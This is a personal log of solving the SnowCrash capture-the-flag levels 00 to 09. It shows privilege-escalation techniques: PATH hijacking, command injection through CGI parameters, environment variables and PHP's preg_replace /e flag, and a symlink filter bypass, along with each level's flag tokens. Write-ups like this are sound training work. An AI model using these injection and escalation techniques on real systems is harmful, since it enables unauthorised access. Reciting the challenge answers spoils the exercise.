Try   HackMD

/dev/log for snowcrash

Week 1

Provisioning and level00

After some fails, I figured that the ISO given was for Mac OSX 64 bit and I launched to the following interface after booting.

I created an SSH tunnel and is able to connect through my local machine. I ran the getflag command expecting to get the flag, but looks like the challenge starts for 00 already

I ran a strings command on the getflags binary and here is what I get. I dont think this is anything useful.

/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
__stack_chk_fail
strdup
stdout
fputc
fputs
getenv
stderr
getuid
ptrace
fwrite
open
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh@
QVhF
UWVS
[^_]
0123456
You should not reverse this
LD_PRELOAD
Injection Linked lib detected exit..
/etc/ld.so.preload
/proc/self/maps
/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit..
libc
Check flag.Here is your token :
You are root are you that dumb ?
I`fA>_88eEd:=`85h0D8HE>,D
7`4Ci4=^d=J,?>i;6,7d416,7
<>B16\AD<C6,G_<1>^7ci>l4B
B8b:6,3fj7:,;bh>D@>8i:6@D
?4d@:,C>8C60G>8:h:Gb4?l,A
G8H.6,=4k5J0<cd/D@>>B:>:4
H8B8h_20B4J43><8>\ED<;j@3
78H:J4<4<9i_I4k0J^5>B1j`9
bci`mC{)jxkn<"uD~6%g7FK`7
Dc6m~;}f8Cj#xFkel;#&ycfbK
74H9D^3ed7k05445J0E4e;Da4
70hCi,E44Df[A4B/J@3f<=:`D
8_Dw"4#?+3i]q&;p6 gtw88EC
boe]!ai0FB@.:|L6l@A?>qJ}I
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
Nope there is no token here for you sorry. Try again :)
00000000 00:00 0
LD_PRELOAD detected through memory maps exit ..
;*2$"$
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.6159
dtor_idx.6161
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
getflag.c
end.3187
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
syscall_gets
__i686.get_pc_thunk.bx
data_start
ft_des
stderr@@GLIBC_2.0
strdup@@GLIBC_2.0
_edata
_fini
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.0
fwrite@@GLIBC_2.0
__DTOR_END__
getenv@@GLIBC_2.0
__data_start
syscall_open
puts@@GLIBC_2.0
__gmon_start__
__dso_handle
open@@GLIBC_2.0
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
fputc@@GLIBC_2.0
afterSubstr
_Jv_RegisterClasses
isLib
fputs@@GLIBC_2.0
_init
ptrace@@GLIBC_2.0
level00@SnowCrash:~$ getflag
Check flag.Here is your token :
Nope there is no token here for you sorry. Try again :)
level00@SnowCrash:~$ clear
level00@SnowCrash:~$ strings /bin/getflag
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
__stack_chk_fail
strdup
stdout
fputc
fputs
getenv
stderr
getuid
ptrace
fwrite
open
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh@
QVhF
UWVS
[^_]
0123456
You should not reverse this
LD_PRELOAD
Injection Linked lib detected exit..
/etc/ld.so.preload
/proc/self/maps
/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit..
libc
Check flag.Here is your token :
You are root are you that dumb ?
I`fA>_88eEd:=`85h0D8HE>,D
7`4Ci4=^d=J,?>i;6,7d416,7
<>B16\AD<C6,G_<1>^7ci>l4B
B8b:6,3fj7:,;bh>D@>8i:6@D
?4d@:,C>8C60G>8:h:Gb4?l,A
G8H.6,=4k5J0<cd/D@>>B:>:4
H8B8h_20B4J43><8>\ED<;j@3
78H:J4<4<9i_I4k0J^5>B1j`9
bci`mC{)jxkn<"uD~6%g7FK`7
Dc6m~;}f8Cj#xFkel;#&ycfbK
74H9D^3ed7k05445J0E4e;Da4
70hCi,E44Df[A4B/J@3f<=:`D
8_Dw"4#?+3i]q&;p6 gtw88EC
boe]!ai0FB@.:|L6l@A?>qJ}I
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
Nope there is no token here for you sorry. Try again :)
00000000 00:00 0
LD_PRELOAD detected through memory maps exit ..
;*2$"$
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.6159
dtor_idx.6161
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
getflag.c
end.3187
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
syscall_gets
__i686.get_pc_thunk.bx
data_start
ft_des
stderr@@GLIBC_2.0
strdup@@GLIBC_2.0
_edata
_fini
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.0
fwrite@@GLIBC_2.0
__DTOR_END__
getenv@@GLIBC_2.0
__data_start
syscall_open
puts@@GLIBC_2.0
__gmon_start__
__dso_handle
open@@GLIBC_2.0
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
fputc@@GLIBC_2.0
afterSubstr
_Jv_RegisterClasses
isLib
fputs@@GLIBC_2.0
_init
ptrace@@GLIBC_2.0

Ran an strace on the program with no args, still didnt find anything good.

Sudoing wont work either

Looks like the subject states that I need to run the program as flagXX user, which indicates that this might be a privellege escalation problem.

I checked /etc/passwd for any clues and I see this strange thing on the next user, ill keep note. But others than that, all the passwords seem protected

I tried running a sudo -l to list all the programs I can run, but looks like I got no luck

In that case, I guess I can find all the files created by me to acheive the same thing using find / -user level00

/dev/pts/0
/dev/tty1
find: `/etc/chatscripts': Permission denied
.
.
.
/proc/2592/coredump_filter
/proc/2592/io
find: `/root': Permission denied
find: `/sys/kernel/debug': Permission denied
find: `/tmp': Permission denied
find: `/var/cache/ldconfig': Permission denied
find: `/var/lib/php5': Permission denied
find: `/var/lib/sudo': Permission denied
find: `/var/spool/cron/atjobs': Permission denied
find: `/var/spool/cron/atspool': Permission denied
find: `/var/spool/cron/crontabs': Permission denied
find: `/var/tmp': Permission denied
find: `/var/www/level04': Permission denied
find: `/var/www/level12': Permission denied
find: `/rofs/etc/chatscripts': Permission denied
find: `/rofs/etc/ppp/peers': Permission denied
find: `/rofs/etc/ssl/private': Permission denied
find: `/rofs/home': Permission denied
find: `/rofs/root': Permission denied
find: `/rofs/var/cache/ldconfig': Permission denied
find: `/rofs/var/lib/php5': Permission denied
find: `/rofs/var/lib/sudo': Permission denied
find: `/rofs/var/spool/cron/atjobs': Permission denied
find: `/rofs/var/spool/cron/atspool': Permission denied
find: `/rofs/var/spool/cron/crontabs': Permission denied
find: `/rofs/var/tmp': Permission denied
find: `/rofs/var/www/level04': Permission denied
find: `/rofs/var/www/level12': Permission denied

Thats alot of files, Ill filter out the error texts by redirecting stderr to /dev/null find / -user level00 2>/dev/null

/dev/pts/0
/dev/tty1
/proc/1814
/proc/1814/task
/proc/1814/task/1814
/proc/1814/task/1814/attr
/proc/1814/net
/proc/1814/attr
/proc/1815
/proc/1815/task

[...]

/proc/2672/sessionid
/proc/2672/coredump_filter
/proc/2672/io

This is what I got. Doesnt seem to have nothing special here, just process files and system files. I will do the same thing for the flag00 user..

level00@SnowCrash:~$ find / -user flag00  2>/dev/null
/usr/sbin/john
/rofs/usr/sbin/john
level00@SnowCrash:~$

and there are 2 files which can be read by us, intresting.

level00@SnowCrash:~$ file /usr/sbin/john
/usr/sbin/john: ASCII text
level00@SnowCrash:~$ file /rofs/usr/sbin/john
/rofs/usr/sbin/john: ASCII text
level00@SnowCrash:~$

They are both ASCII files, could they contain the password?

level00@SnowCrash:~$ cat /usr/sbin/john
cdiiddwpgswtgt
level00@SnowCrash:~$ cat  /rofs/usr/sbin/john
cdiiddwpgswtgt
level00@SnowCrash:~$

Looks like we might have our password, lets try to login to flag00

level00@SnowCrash:~$ su flag00
Password:
su: Authentication failure
level00@SnowCrash:~$

Nope, its incorrect. Looks like this is an encrypted password. I went on https://www.dcode.fr/caesar-cipher to hopefully find a decryption and luckily, I managed to extract the plaintext from the caesar cipher

nottoohardhere is the password. I tried it and I'm in, launched getflag and I got my password x24ti5gi3x0ol2eh4esiuxias

level00@SnowCrash:~$ su flag00
Password:
Don't forget to launch getflag !
flag00@SnowCrash:~$ getflag
Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias
flag00@SnowCrash:~$

level01

I noticed the weird thing on /etc/passwd for this user during the last level, and Ill try to login with the weird string 42hDRfypTqqnw for this one.

level01@SnowCrash:~$ su flag01
Password:
su: Authentication failure
level01@SnowCrash:~$

Nope, does not work. Ill need to do more research on what this is.

Upon googleing, the string included in /etc/passwd is the encrypted user password, and usually is stored in a more secure form in /etc/shadow following this format:

So our next step is to attempt to decrypt the password using one of the following formats.

It is not MD5 since the password is not 32 Characters long.
I dont think its blowfish because we need to get a seperate key for that (could be the username). It is not the SHA algorithms either because the length of the password does not meet the encryption results. So we are left with yescrypt

I did some google and there are people trying to crack yescrypt with john the ripper, so I gave it a go and installed it

wget https://www.openwall.com/john/k/john-1.9.0.tar.xz --no-check-certificate

tar -xvf john-1.9.0.tar.xz

cd john-1.9.0/src && make

I ran the program and got the plaintext password

The password turns out to be correct, and the flag is obtained f2av5il02puano7naaf6adaaf

level01@SnowCrash:/dev/shm/john-1.9.0$ su flag01
Password:
Don't forget to launch getflag !
flag01@SnowCrash:~$ getflag
Check flag.Here is your token : f2av5il02puano7naaf6adaaf
flag01@SnowCrash:~$

level02

Upon logging in, I was greeted by a level02.pcap in my home directory. Something tells be we need to use wireshark for this..

I loaded the file into wireshark and followed the TCP stream which constructs the TCP message based on the frames and got this.

I tried c/p the string inside the password prompt, but the login failed. Looks like the ... characters might be something else, I displayed the characters in hex, and got this..

This is what the client typed, and turns out the 7F is a delete character in ASCII, which might indicate a backspace. So the password became from ft_wandr...NDRel.L0L to ft_waNDReL0L by replacing the . with backspaces. I tried against the console and it works.

I got in and obtained the flag kooda2puivaav1idi4f57q8iq

level02@SnowCrash:~$ su flag02
Password:
Don't forget to launch getflag !
flag02@SnowCrash:~$ getflag
Check flag.Here is your token : kooda2puivaav1idi4f57q8iq
flag02@SnowCrash:~$

level03

I went in and got greeted by an executable

The strings output are shown as below

level03@SnowCrash:~$ strings ./level03
/lib/ld-linux.so.2
KT{K
__gmon_start__
libc.so.6
_IO_stdin_used
setresgid
setresuid
system
getegid
geteuid
__libc_start_main
GLIBC_2.0
PTRh
UWVS
[^_]
/usr/bin/env echo Exploit me
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
/home/user/level03
/usr/include/i386-linux-gnu/bits
/usr/include/i386-linux-gnu/sys
level03.c
types.h
types.h
long long int
__uid_t
envp
/home/user/level03/level03.c
long long unsigned int
setresuid
setresgid
unsigned char
GNU C 4.6.3
argc
__gid_t
short unsigned int
main
short int
argv
...

Here is the file type

level03@SnowCrash:~$ file ./level03
./level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped

Could /home/user/level03/level03.c be a source code indicator?

Looks like the setuid and setgid bit is set, which means that we can execute this program as the user who created it, which is our flag03 user.

The possible way forward now is to make this program execute getflag, so it can return us the flag as said user

To find a way to execute programs inside the executable, i used ltrace to identify any system calls made by the program.

level03@SnowCrash:~$ ltrace ./level03
__libc_start_main(0x80484a4, 1, 0xbffff7f4, 0x8048510, 0x8048580 <unfinished ...>
getegid()                                                                 = 2003
geteuid()                                                                 = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280)                       = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280)                       = 0
system("/usr/bin/env echo Exploit me"Exploit me
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                    = 0
+++ exited (status 0) +++
level03@SnowCrash:~$

Looks like it calls system to execute shell command /usr/bin/env echo Exploit me. Its quite weird that it calls to env first then echo

So it sets the current environment variables before calling echo. If I change the PATH variable to look for my own directory first, then whatever program that has the name echo will get executed. So thats what I did here.

export PATH=/dev/shm:$PATH
cp /bin/getflag /dev/shm
mv /dev/shm/getflag /dev/shm/echo

and once this is done, I re-executed level03 and got the flag qi0maab88jeaj46qoumi7maus

level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
level03@SnowCrash:~$

level04

For level04, I was greeted with a perl script with the following contents

#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
}
x(param("x"));

Here is the file type

level04@SnowCrash:~$ file level04.pl
level04.pl: setuid setgid a /usr/bin/perl script, ASCII text executable

since the setuid and setgid bits are enabled, means this is another privellege escallation gig, I will need to execute getflag inside this script somehow to get the flag.

Upon doing some research on what the script does, I figured that this script is meant to be run as a back end CGI, where we need to spin up a webserver to accept requests.

The program defines a subroutine 'x' which takes a parameter which needs to be named 'x' and concats it to the echo call. Not much I can elaborate here since I am not good with perl. Need to trial and error this.

Luckily, the ISO already has Apache installed and it is already running on port 4747

I went port-forwarded the traffic and tried to adjust the x query parameter in my browser, and it does show me something as an output

Looks like the print command of the perl script will be run by the server since its surrounded in backticks. In bash, backticks are called command substitution in bash which spawn a subshell and captures the output of the command inside the backtick and returns it to the main shell

level04@SnowCrash:~$ echo ls
ls
level04@SnowCrash:~$ `echo ls`
level04.pl
level04@SnowCrash:~$

If this is the case, I should make the x parameter

x=`getflag`

To run the getflag program as flag04 user.

To do that, the following query is sent

http://localhost:4747/?x=`getflag`

And I got the following output, the flag is ne2searoevaevoem4ov4ar8ap

level05

Upon reaching level05, there are no programs or files in the home directory, so I ran find / -user flag05 2> /dev/null to look for any files flag05 owns

And turns out, we got our files

level05@SnowCrash:~$ find / -user flag05 2> /dev/null
/usr/sbin/openarenaserver
/rofs/usr/sbin/openarenaserver
level05@SnowCrash:~$

The file contents are as follows

#!/bin/sh for i in /opt/openarenaserver/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done

Which scans the /opt/openarenaserver/ directory for files and executes everything that is executable inside with a time limit of 5 seconds for each process. The file is then deleted afterwards.

Gave it a sanity check and it works

level05@SnowCrash:/dev/shm$ ./openarenaserver
+ echo asdfx
asdfx

I tried to run getflag with it, but I had no luck.

when I tried to ls -lah the file, I noticed that there is something special in the permission bit:

-rwxr-x---+ 1 flag05 flag05 94 Mar  5  2016 /usr/sbin/openarenaserver

the + bit at the end of the permission bits means that there are additional permissions set by Access Control Lists (ACL). To get information on those permissions, one can use getfacl command

level05@SnowCrash:/dev/shm$     getfacl /usr/sbin/openarenaserver
getfacl: Removing leading '/' from absolute path names
# file: usr/sbin/openarenaserver
# owner: flag05
# group: flag05
user::rwx
user:level05:r--
group::r-x
mask::r-x
other::---

Nothing useful here it seems, the only implication i get from doing this is that I cant write to that file.

I was curious and also ran getfacl on the /opt/openarenaserver directory, and got something intresting

# file: opt/openarenaserver/
# owner: root
# group: root
user::rwx
user:level05:rwx
user:flag05:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:level05:rwx
default:user:flag05:rwx
default:group::r-x
default:mask::rwx
default:other::r-x

I tried changing the permissions of the directory, but it is not permitted

level05@SnowCrash:/dev/shm$ chmod -R 2777 /opt/openarenaserver
chmod: changing permiss    ions of `/opt/openarenaserver': Operation not permitted

I also tried changing ownership of the script, but it was also not permitted

level05@SnowCrash:/opt/openarenaserver$ ls -lah
total 4.0K
drwxrwxr-x+ 2 root    root    60 Oct 12 05:24 .
drwxr-xr-x  1 root    root    60 Oct 12 03:51 ..
-rwxr-x---+ 1 level05 level05 94 Oct 12 05:24 openarenaserver
level05@SnowCrash:/opt/openarenaserver$ chown flag05 openarenaserver
chown: changing ownership of `openarenaserver': Operation not permitted
level05@SnowCrash:/opt/openarenaserver$

After a short break and I logged back in, I noticed that I have new mail

and upon reading it, I saw a crontab which runs the openarenaserver script every 2 minutes

level05@SnowCrash:~$ cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05

This must be a clue, I made a script that echoes to a file and I waited for 2 minutes, eventually the script did get deleted and the contents did appear in the file I specified.

level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello
asdfg
level05@SnowCrash:/opt/openarenaserver$

I replaced the contents of the script with getflag, and the file should have the programs output. And once the script runs and gets deleted, the output should have the flag viuaaale9huek52boumoomioc

level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello
Check flag.Here is your token : viuaaale9huek52boumoomioc
level05@SnowCrash:/opt/openarenaserver$

level06

Upon arriving at level06, I was greeted with 2 files, here are the enumeration results

level06@SnowCrash:~$ cat level06.php
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
level06@SnowCrash:~$ file level06
level06: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xaabebdcd979e47982e99fa318d1225e5249abea7, not stripped
level06@SnowCrash:~$

We have a php script file that supposedly is running on a server, and we have a CGI program which has setuid bit set.

I executed both the script and the program and looks like they have the same output. Could the executable be a compiled version of the php script?

level06@SnowCrash:~$ ./level06.php
PHP Notice:  Undefined offset: 1 in /home/user/level06/level06.php on line 5
PHP Notice:  Undefined offset: 2 in /home/user/level06/level06.php on line 5
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$ ./level06
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$

I took a look at the script file, and here is what the formatted version looks like

#!/usr/bin/php <?php function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; } function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; } $r = x($argv[1], $argv[2]); print $r; ?>

The script has a function called y which accepts 1 parameter, where it replaces all the . with x and all the @ with y from the input string and returns the replaced string.

The function x however takes 2 inputs, but only the first one is used. the first input should be a path to a file and its contents will be read and stored at the variable a

It then finds the pattern [x (anything here)] and runs y(anything here from earlier) to get the result which is used as a replacement for the file contents. The reason y gets executed is becase of the e(execution) flag after the regex. This tells the computer to excecute whatever is in the second parameter as PHP code.

The x function then replaces braces with parenthesis.

The thing is, the way y gets executed is by specifying a string in the second parameter. In Javascript, there is a way to inject varaibles straight into strings like so:

let test = `hello ${1 + 1}` // hello 2

We can also run functions in it like so:

let test = `hello ${some_func()}` // hello <output of some_func()>

We can do the same in PHP like so

$test = "hello ${1 + 1}" // hello 2

This feature is called variable interpolation. And instead of running php functions, php also allows us to run shell commands in variable interpolations using backticks. This feature is called Execution operator

$test = "hello ${`whoami`}" // hello your_user

So back to our function, we can use Execution operators and variable interpolation to execute commands in the y(anything here from earlier) step; which we want to acheive

y(${`getflag`})

To do so, we need to change the [x (anything here)] part so that the second capture group will batch whatever that we want the input to be on the y() call.

Hence, our input should be

[x ${`getflag`}]

After getting our input, we obtained our flag wiok45aaoguiboiki2tuin6ub

level06@SnowCrash:~$ ./level06 /dev/shm/input
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1

level06@SnowCrash:~$

level07

I see a binary in the home folder, below are the enumeration results

level07@SnowCrash:~$ ls -lah
total 24K
dr-x------ 1 level07 level07  120 Mar  5  2016 .
d--x--x--x 1 root    users    340 Aug 30  2015 ..
-r-x------ 1 level07 level07  220 Apr  3  2012 .bash_logout
-r-x------ 1 level07 level07 3.5K Aug 30  2015 .bashrc
-rwsr-sr-x 1 flag07  level07 8.6K Mar  5  2016 level07
-r-x------ 1 level07 level07  675 Apr  3  2012 .profile
level07@SnowCrash:~$ file level07
level07: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x26457afa9b557139fa4fd3039236d1bf541611d0, not stripped
level07@SnowCrash:~$
level07@SnowCrash:~$ ./level07
level07
level07@SnowCrash:~$ ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid()                                                                 = 2007
geteuid()                                                                 = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)                       = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)                       = 0
getenv("LOGNAME")                                                         = "level07"
asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280)       = 18
system("/bin/echo level07 "level07
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                    = 0
+++ exited (status 0) +++
level07@SnowCrash:~$

I noticed that the program calls getenv on LOGNAME which returns level07 before echoing out the value. In bash, there are a way to execute commands inside the resolution of environment variables by using the same mechanism from level04

level07@SnowCrash:~$ export TEST="`echo asdf`"
level07@SnowCrash:~$ echo $TEST
asdf

I tried doing the following but it looks like it didnt work

level07@SnowCrash:~$ export LOGNAME=`/bin/getflag`
level07@SnowCrash:~$ ./level07
Check flag.Here is your token :
sh: 2: Syntax error: ")" unexpected

I realized something, the program also prints the string into the terminal. If I set the variable to

LOGNAME=`/bin/getflag`

before the execution, the program will execute on the action of setting of the variable; which will print out the wrong output. However, if I set the variable to

LOGNAME='`/bin/getflag`'

The echo will print the literal with the backticks, which will get executed by the system syscall which spawns a child shell instead. Take a look at the example.

level07@SnowCrash:~$ export LOGNAME=`whoami`
level07@SnowCrash:~$ ./level07
level07
level07@SnowCrash:~$ export LOGNAME='`whoami`'
level07@SnowCrash:~$ ./level07
flag07
level07@SnowCrash:~$

With the above information, I am able to get the flag fiumuikeil55xe9cu4dood66h

level07@SnowCrash:~$ export LOGNAME='`getflag`' && ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
level07@SnowCrash:~$

Week 2

level08

I was greeted by 2 files, here are the enumeration results

level08@SnowCrash:~$ ls
level08  token
level08@SnowCrash:~$ file token
token: regular file, no read permission
level08@SnowCrash:~$ file level08
level08: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xbe40aba63b7faec62e9414be1b639f394098532f, not stripped
level08@SnowCrash:~$ la -lah
total 28K
dr-xr-x---+ 1 level08 level08  140 Mar  5  2016 .
d--x--x--x  1 root    users    340 Aug 30  2015 ..
-r-x------  1 level08 level08  220 Apr  3  2012 .bash_logout
-r-x------  1 level08 level08 3.5K Aug 30  2015 .bashrc
-rwsr-s---+ 1 flag08  level08 8.5K Mar  5  2016 level08
-r-x------  1 level08 level08  675 Apr  3  2012 .profile
-rw-------  1 flag08  flag08    26 Mar  5  2016 token

Upon running the program with ltrace, here are the results

level08@SnowCrash:~$ ltrace ./level08 token
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("token", "token")                                                  = "token"
printf("You may not access '%s'\n", "token"You may not access 'token'
)                              = 27
exit(1 <unfinished ...>
+++ exited (status 1) +++
level08@SnowCrash:~$ ltrace ./level08 /dev/shm/token
__libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/dev/shm/token", "token")                                         = "token"
printf("You may not access '%s'\n", "/dev/shm/token"You may not access '/dev/shm/token'
)                     = 36
exit(1 <unfinished ...>
+++ exited (status 1) +++
level08@SnowCrash:~$

Im guessing it uses strstr to check the name of the file if it contains the string token and if it is, it will just print the error message. Other files are okay as seen below :

level08@SnowCrash:~$ ltrace ./level08 /dev/shm/test
__libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/dev/shm/test", "token")                                          = NULL
open("/dev/shm/test", 0, 014435162522)                                    = 3
read(3, "sadf\n", 1024)                                                   = 5
write(1, "sadf\n", 5sadf
)                                                     = 5
+++ exited (status 5) +++
level08@SnowCrash:~$

My intuition tells me to make a soft link to that file with a different name, and call the program with the soft link. It didnt work however

level08@SnowCrash:~$ ln -s token /dev/shm/lala
level08@SnowCrash:~$ ./level08 /dev/shm/lala
level08: Unable to open /dev/shm/lala: Permission denied
level08@SnowCrash:~$ file /dev/shm/lala
/dev/shm/lala: broken symbolic link to `token'
level08@SnowCrash:~$ cat /dev/shm/lala
cat: /dev/shm/lala: No such file or directory

I also noticed that the program does not do any setuid calls before calling open.

After some searcing, I found out that for sticky world writable directories like /run/shm, symlinks can only be followed by who created it. So I made the symlink in some other location and it worked

The password to flag08 is quif5eloekouj29ke0vouxean

level08@SnowCrash:~$ ln -s /home/user/level08/token /tmp/test &&  ./level08 /tmp/test
quif5eloekouj29ke0vouxean
level08@SnowCrash:~$

The flag of this level is 25749xKZ8L7DkSCwJkT9dyv6f

level08@SnowCrash:~$ su flag08
Password:
Don't forget to launch getflag !
flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
flag08@SnowCrash:~$

level09

Here are the enumeration results

level09@SnowCrash:~$ ls
level09  token
level09@SnowCrash:~$ file *
level09: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0e1c5a0dfb537112250e1c78d5afec3104abb143, not stripped
token:   data
level09@SnowCrash:~$ cat token
f4kmm6p|=�p�n��DB�Du{��
level09@SnowCrash:~$

Upon running ltrace on the executable, it looks like it detects the attempt and warns us to not reverse this using ptrace(PTRACE_TRACEME, 0, 0, 0).

level09@SnowCrash:~$ ltrace ./level09
__libc_start_main(0x80487ce, 1, 0xbffff7f4, 0x8048aa0, 0x8048b10 <unfinished ...>
ptrace(0, 0, 1, 0, 0xb7e2fe38)                                            = -1
puts("You should not reverse this"You should not reverse this
)                                       = 28
+++ exited (status 1) +++
level09@SnowCrash:~$

So I just executed the executable arguments to test

level09@SnowCrash:~$ ./level09 a
a
level09@SnowCrash:~$ ./level09 b
b
level09@SnowCrash:~$ ./level09 c
c
level09@SnowCrash:~$ ./level09 1
1
level09@SnowCrash:~$ ./level09 ab
ac
level09@SnowCrash:~$ ./level09 abc
ace
level09@SnowCrash:~$ ./level09 abcd
aceg
level09@SnowCrash:~$ ./level09 abcdef
acegik

On the surface, looks like the program iterates through the characters and does an ASCII rotation based on the current index of the iteration

input: abcde

a - index 0, ascii + 0, output a
b - index 1, ascii + 1, output c
c - index 2, ascii + 2, output e
d - index 3, ascii + 3, output g
e - index 4, ascii + 4, output i

output: acegi

I also saw a token file earlier, maybe if that file was encrypted with this mechanism, and I need to decrpypt the file in the same manner. I used od -t u1 to get the files bytes in decimal so I can construct an array and iterate through it applying the decryption in python. The script can be made like so

# obtained from od -t u1 # last byte removed because its out of range bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137] for x, byte in enumerate(bytes) : bytes[x] -= x print(''.join(chr(i) for i in bytes))

With the script created and ran, we are able to login to flag09 and get the flag s5cAJpM8ev6XHw998pRWG728z

level09@SnowCrash:~$ nano /dev/shm/script.py
level09@SnowCrash:~$ python /dev/shm/script.py
f3iji1ju5yuevaus41q1afiuq
level09@SnowCrash:~$ su flag09
Password:
Don't forget to launch getflag !
flag09@SnowCrash:~$ getflag
Check flag.Here is your token : s5cAJpM8ev6XHw998pRWG728z
flag09@SnowCrash:~$

level10

Upon enumeration, looks like this has similar mechanism with the last level, with another layer of complexity

level10@SnowCrash:~$ ls
level10  token
level10@SnowCrash:~$ file *
level10: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf7e21fb68568fa57d6317d0535b97d9fca66f841, not stripped
token:   regular file, no read permission
